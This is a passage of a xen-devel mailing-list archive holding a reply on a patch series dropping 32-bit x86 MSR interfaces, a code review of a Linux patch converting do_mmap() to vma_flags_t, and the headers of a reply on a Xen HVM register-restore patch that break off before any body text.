 Dave Martin <Dave.Martin@arm.com>, James Morse <james.morse@arm.com>,
 Babu Moger <babu.moger@amd.com>, Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
 Damien Le Moal <dlemoal@kernel.org>, Niklas Cassel <cassel@kernel.org>,
 Dave Airlie <airlied@redhat.com>, Helge Deller <deller@gmx.de>,
 linux-geode@lists.infradead.org, Olivia Mackall <olivia@selenic.com>,
 Herbert Xu <herbert@gondor.apana.org.au>, Linus Walleij <linusw@kernel.org>,
 Bartosz Golaszewski <brgl@kernel.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "K. Y. Srinivasan" <kys@microsoft.com>,
 Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>,
 Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>,
 Guenter Roeck <linux@roeck-us.net>, Peter Zijlstra <peterz@infradead.org>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, Mark Rutland <mark.rutland@arm.com>,
 Alexander Shishkin <alexander.shishkin@linux.intel.com>,
 Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
 Adrian Hunter <adrian.hunter@intel.com>, James Clark
 <james.clark@linaro.org>, Josh Poimboeuf <jpoimboe@kernel.org>,
 Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
 Vitaly Kuznetsov <vkuznets@redhat.com>, Andy Lutomirski <luto@kernel.org>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, Huang Rui <ray.huang@amd.com>,
 Mario Limonciello <mario.limonciello@amd.com>,
 Perry Yuan <perry.yuan@amd.com>, K Prateek Nayak <kprateek.nayak@amd.com>,
 "srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
 Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
 Artem Bityutskiy <dedekind1@gmail.com>,
 Miquel Raynal <miquel.raynal@bootlin.com>,
 Richard Weinberger <richard@nod.at>, Vignesh Raghavendra <vigneshr@ti.com>,
 Ashok Raj <ashok.raj.linux@gmail.com>, Hans de Goede <hansg@kernel.org>,
 =?UTF-8?Q?Ilpo_J=C3=A4rvinen?= <ilpo.jarvinen@linux.intel.com>,
 Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
 David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
Message-ID: <99228803-b8b7-47a3-b77c-6fdf3b785730@suse.com>
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com> <akQR9YMtMHReJTfB@google.com>
 <akY4U0jUZm4HOGZ_@gmail.com>
In-Reply-To: <akY4U0jUZm4HOGZ_@gmail.com>

--------------o2fircZpb09tU1GMO2GxqgPd
Content-Type: multipart/mixed; boundary="------------DvT8SfkPmJRmXAYHiBwk9gCF"

--------------DvT8SfkPmJRmXAYHiBwk9gCF
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDIuMDcuMjYgMTI6MDcsIEluZ28gTW9sbmFyIHdyb3RlOg0KPiANCj4gKiBTZWFuIENo
cmlzdG9waGVyc29uIDxzZWFuamNAZ29vZ2xlLmNvbT4gd3JvdGU6DQo+IA0KPj4+IE5vdGUg
dGhhdCB0aGUgaW5kaXZpZHVhbCBwYXRjaGVzIGFyZSBJTU8gc2lnbmlmaWNhbnRseSBlYXNp
ZXIgdG8gcmV2aWV3DQo+Pj4gdGhyb3VnaCB0aGUgYWN0dWFsIDMyLWJpdCA9PiA2NC1iaXQg
dmFyaWFibGUgYXNzaWdubWVudCBjaGFuZ2VzIGRvbmUNCj4+PiBpbiBpc29sYXRpb24gKHdo
aWNoIHNvbW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BJIHdvdWxkbid0IG5lZWQgdG8gd2FpdA0KZm9y
IG1vcmUgcmV2aWV3IGlucHV0IG9mIGFsbCB0aGUgcGF0Y2hlcyBiZWZvcmUgc2VuZGluZyBv
dXQgbmV3IHZlcnNpb25zLg0KDQpBcyB0aGUgcGF0Y2hlcyBhcmUgKG1vc3RseSkgc3RhbmRh
bG9uZSwgdGhpcyBzaG91bGQgbm90IGNhdXNlIGFueSB3ZWlyZA0KcHJvYmxlbXMuDQoNClRo
ZSBsYXN0IHR3byBwYXRjaGVzIG1pZ2h0IG5lZWQgdXBkYXRlcywgYnV0IHRob3NlIGNhbiBi
ZSBhcHBsaWVkIG9ubHkgYWZ0ZXINCnRoZSByZXN0IGhhcyBiZWVuIGFjY2VwdGVkIGFueXdh
eS4NCg0KDQpKdWVyZ2VuDQo=
--------------DvT8SfkPmJRmXAYHiBwk9gCF
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCg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YHiBwk9gCF--

--------------o2fircZpb09tU1GMO2GxqgPd--

--------------WjZXb44KsATEDkDSufWy2bKk
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpGRZgFAwAAAAAACgkQsN6d1ii/Ey9T
iQf8D4c54BGRNKMRsSJiXSFxOPiUVfGXcsH7BLGSCIbavlNKB6PC4nfBVKfvlEHUsQk3Zy7dOXCt
DjWUBhqMxb+QCJKNrUGKsdDFtl1Agihz8PaRzzF6LAJL86LHnhjy30FkyEoT+wE8pfL61qKpyusy
xGc+xkkzm+tcDAwQDn9wTrmDKRaa/yWjrPX2idLQ/ATrKILtNW/Ci7tbKeltRSGhWV7aNEtyEUco
wq6RU91rH9miz+a9ZWCRa/bc1FU0brdudBe2pkTiDua5vzSwUx4gBoLQ98BcHb+bKidB+OS3WYBa
Qfoo0sr6Uryp6mf98UcyNgyPhA4rdUuo1iUvfsGhdg==
=MZUf
-----END PGP SIGNATURE-----

--------------WjZXb44KsATEDkDSufWy2bKk--


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 11:16:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 11:16:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351699.1608789 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFOi-0001r6-KM; Thu, 02 Jul 2026 11:16:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351699.1608789; Thu, 02 Jul 2026 11:16:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFOi-0001qz-Gl; Thu, 02 Jul 2026 11:16:00 +0000
Received: by outflank-mailman (input) for mailman id 1351699;
 Thu, 02 Jul 2026 11:15:58 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfFOf-0001qn-9G
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:15:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfFOd-00Dbk4-Tx
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:15:56 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a46486b-bab6-0a2a0a5309dd-0a2a4509cec4-2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:15:55 +0200
Received: from [91.218.175.179] (helo=out-179.mta0.migadu.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a46486a-97e6-0a2a45090019-5bdaafb38c25-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:15:54 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782990951;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=MXoiAeiZxppUV0bbr36tbNoILtIVkAZHXOhXlmlq9aE=;
	b=SNO+TI3ysBG4+DhR3hPTF1SvhO32c4IR52yjAPmkR78MakGGmD/cQOYIcE8MmMX2BXfJ/B
	PngJwUk8MPDHueMWfaVQgxbOjSa6VTjHZniUa88SClGCvA5JNzJYRen32CdMAokXiIgXtC
	8TVZTPLK3UhpO1X2vjoT/Jd84+uq0gc=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 02/13] mm/vma: update do_mmap() to use vma_flags_t
Date: Thu,  2 Jul 2026 19:15:31 +0800
Message-Id: <20260702111531.64883-1-lance.yang@linux.dev>
In-Reply-To: <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
References: <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-bad1c0/1782990955-56594986-2BE39724/0/0
X-purgate-type: clean
X-purgate-size: 3736


On Mon, Jun 29, 2026 at 08:25:25PM +0100, Lorenzo Stoakes wrote:
>The core do_mmap() function accepts a vm_flags_t parameter which it then
>manipulates before passing to mmap_region() to do the heavy lifting of the
>memory mapping.
>
>Update do_mmap() to instead accept a vma_flags_t parameter, and adjust all
>the logic within do_mmap() to manipulate this instead.
>
>This is as part of the ongoing effort to convert VMA flags from a system
>word size to a bitmap type which allows us to unrestrict the number of VMA
>flags, as well as gain control over how VMA flag manipulation occurs.
>
>We do not cascade these changes to all functions which accept vm_flags_t,
>but rather use vma_flags_to_legacy() where necessary, specifically
>deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
>__get_unmapped_area() to vma_flags_t.
>
>Also utilise the new vma_flags_can_grow() predicate which correctly handles
>the case of architectures without upward growing stacks.
>
>As part of this change, introduce VMA_SHADOW_STACK so we can correctly
>handle the case of the shadow stack not being defined.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Not exactly a small one :) I stared at this patch for a while, hopefully
don't miss anythig ...

Just one tiny nit below. Overall, LGTM, feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>

[...]
>diff --git a/mm/mmap.c b/mm/mmap.c
>index 46174e706bbe..547352183214 100644
>--- a/mm/mmap.c
>+++ b/mm/mmap.c
[...]
>@@ -488,23 +496,27 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> 		 * Check to see if we are violating any seals and update VMA
> 		 * flags if necessary to avoid future seal violations.
> 		 */
>-		err = memfd_check_seals_mmap(file, &vm_flags);
>+		err = memfd_check_seals_mmap(file, &vma_flags);
> 		if (err)
> 			return (unsigned long)err;
> 	} else {
> 		switch (flags & MAP_TYPE) {
> 		case MAP_SHARED:
>-			if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
>+			if (vma_flags_can_grow(&vma_flags))
> 				return -EINVAL;
> 			/*
> 			 * Ignore pgoff.
> 			 */
> 			pgoff = 0;
>-			vm_flags |= VM_SHARED | VM_MAYSHARE;
>+			vma_flags_set(&vma_flags, VMA_SHARED_BIT, VMA_MAYSHARE_BIT);
> 			break;
>-		case MAP_DROPPABLE:
>-			if (VM_DROPPABLE == VM_NONE)
>+		case MAP_DROPPABLE: {
>+			vma_flags_t droppable = VMA_DROPPABLE;
>+
>+			if (vma_flags_empty(&droppable))
> 				return -EOPNOTSUPP;
>+			vma_flags_set_mask(&vma_flags, droppable);
>+
> 			/*
> 			 * A locked or stack area makes no sense to be droppable.
> 			 *
>@@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> 			 */
> 			if (flags & (MAP_LOCKED | MAP_HUGETLB))
> 			        return -EINVAL;
>-			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
>+			if (vma_flags_can_grow(&vma_flags))
> 			        return -EINVAL;
> 
>-			vm_flags |= VM_DROPPABLE;

Old code checked VM_GROWSDOWN|VM_GROWSUP before seting VM_DROPPABLE. New
code flips that around. Hmm, shouldn't master, just made me look twice ;)

Maybe keep old order?

Cheers, Lance

>-
> 			/*
> 			 * If the pages can be dropped, then it doesn't make
> 			 * sense to reserve them.
> 			 */
>-			vm_flags |= VM_NORESERVE;
>+			vma_flags_set(&vma_flags, VMA_NORESERVE_BIT);
> 
> 			/*
> 			 * Likewise, they're volatile enough that they
> 			 * shouldn't survive forks or coredumps.
> 			 */
>-			vm_flags |= VM_WIPEONFORK | VM_DONTDUMP;
>+			vma_flags_set(&vma_flags, VMA_WIPEONFORK_BIT,
>+				      VMA_DONTDUMP_BIT);
>+
> 			fallthrough;
>+		}
> 		case MAP_PRIVATE:
> 			/*
> 			 * Set pgoff according to addr for anon_vma.
[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 11:31:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 11:31:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351721.1608797 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFdV-0005PJ-Sa; Thu, 02 Jul 2026 11:31:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351721.1608797; Thu, 02 Jul 2026 11:31:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFdV-0005PC-Pt; Thu, 02 Jul 2026 11:31:17 +0000
Received: by outflank-mailman (input) for mailman id 1351721;
 Thu, 02 Jul 2026 11:31:17 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wfFdU-0005P6-UE
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:31:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfFdU-00DlGH-8Y
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:31:16 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a464c04-5cb7-0a2a0a5109dd-0a2a450c952e-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:31:16 +0200
Received: from [40.93.195.24]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a464c02-f399-0a2a450c0019-285dc3185f3d-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:31:15 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by PH0PR03MB5733.namprd03.prod.outlook.com (2603:10b6:510:39::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Thu, 2 Jul
 2026 11:31:13 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Thu, 2 Jul 2026
 11:31:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=cR+hwX//0ZOHqcU9FxeggPNm/9QgLNOY6NqAy8f/yeOrqfIA5G4aATUR0nvDfwgVns0nyCCW/MGyd5nN1oyFKnwXkCVyzObR/74yetuK3OLypJR5iuIdCyghXZoRhDyBopvQ1BttJwnagzc2mfvRqiRYn27OfJLF46Ko9PMghDfpl9yxVJoTA60izKU9e7p8SNTFQFp3R1unSK6KxEv/L0nY3wdpmSsEe5WAN/j7j3zYFsAR+aOMYt6dTY8uvG08syieiYqYI48suF4+M47J1aInYxz8kvjYzBvQBqafCzFLJ1c5snwd6VemnvR0YfHUObeoYa4x6bVmfIFDjsFbkQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8YE7qMEO+fWBMM1cuUzNhk18IMwC2N4Gohux8+fi7Ys=;
 b=TFF4YC6d883VYfDP5Mu5iz5pF2NKmQ8GfGhsmG07EGSA0zBtViL4rvxrT0cF5K2TBUYgh5YHizSb42EdGH8HhwETh/IOm4DjBoP2UlzFYm0+R2p7nMRsMBHBFFOqQROM3BGMQkaeSZQz5oTmSVxYjCGdLkI8KgPA07ljJoZqeF5lFPx9b/00ZBQjOlUS90T3uycMlHyt8ak9DX0iirReDaQevMgHhEBLfJPWyLAAT1lC57v1WtF7l99J04FSZRFpJYip5s8DH/1n7erBy8UXF+6+RxtMDGhpzy95uitO4IuBbNdiFeqcOyKb0+R5PgXjzSFH0fC8axLd0/vYJKZUYw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8YE7qMEO+fWBMM1cuUzNhk18IMwC2N4Gohux8+fi7Ys=;
 b=rBvoFqFMesccSP/e/t02WT92LKeyiX9C0Z6GoOZVN7cnb31YeIY3KrZM08BKsW3sUj5WIcem+MgrxJzIOVZILbIyMNSbVbwxCQl7motyeRtfXkkqsO2ExQDpyWw7Ie4OLoxkGY6fmIp+jzlq8iQIcu2yQAMjDglug6yRhqWdjlg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <6065311f-15b3-403e-b39c-f9652f0513ff@citrix.com>
Date: Thu, 2 Jul 2026 12:31:09 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Subject: Re: [PATCH v3 1/4] x86/HVM: don't (almost) open-code POP_GPRS
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
 <a89951cb-43c0-45bd-aba1-273cd053deae@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9Zj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RS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <a89951cb-43c0-45bd-aba1-273cd053deae@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0150.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:188::11) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|PH0PR03MB5733:EE_
X-MS-Office365-Filtering-Correlation-Id: 5db6a722-3f9c-40e7-1646-08ded82d6bae
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|366016|1800799024|18002099003|22082099003|11063799006|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	cJ21bNoD3ZljtzXm7GbDIMe8AFBoLAWJwt1WeSypYz/WJwI+QiAE+Fud0iL8BdINRb94tFkQ8dZZTXXgkujhaxem80aflYu5x28LTqJzqo/6962Lay1RTGSReNEzSkThvb7OW2I2VtW/sirskEbL2DtRJciQdvOlCV29xDdvxO9dm7iCMKUTTySGAMGoVeWzPuxfiEoX6hKi4s43uuNl/J+sgqRiTf1tgfY3TxGB0t0VVDYYISO5SEF0JawFx/alrzpTJYv1iiThdVhqYUws9q6HNr5lOzmpOroS3vxV+IBlDAHdYn/Q9oIG1RYXj318vRO5B+GHSAUUBVEMxzeyHJMjcU8dgxQkFzRsBwVZih9etqkxEo0JUvDwTtwjARUkH9xb9JdQa21FUi5R60IuJGkoFlKxeNJvTFVV2UAFKF66kiNwiozo9qhjwjeFiQey+YGfBXud7FY0ohWeVaBT7ymiL3ZE+bl5XuYiJIdYni7G4uueU/0f1felwnyENA8emNazb3FGS8wuWLb8+ELb1EEnDmmGNTHyBCbSYTFAs8imJbQdFds486c2SAYvvay6rCuvvv8VINXg4Tig1/0qeDWbVLtT/sU/Tj8Qx99/XuDl5q85XtTmM7VDoqpGjKP6E7hyztWJVtlebVxFx7qUOSoN5vJbxsjkXThF9Tdv/Sc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(366016)(1800799024)(18002099003)(22082099003)(11063799006)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?cS92S3d4YWZqUWdsQmdiZTRZSDZtR0VzdTh5eVZ1Rk5tUmxIb1FKUkFxSTZS?=
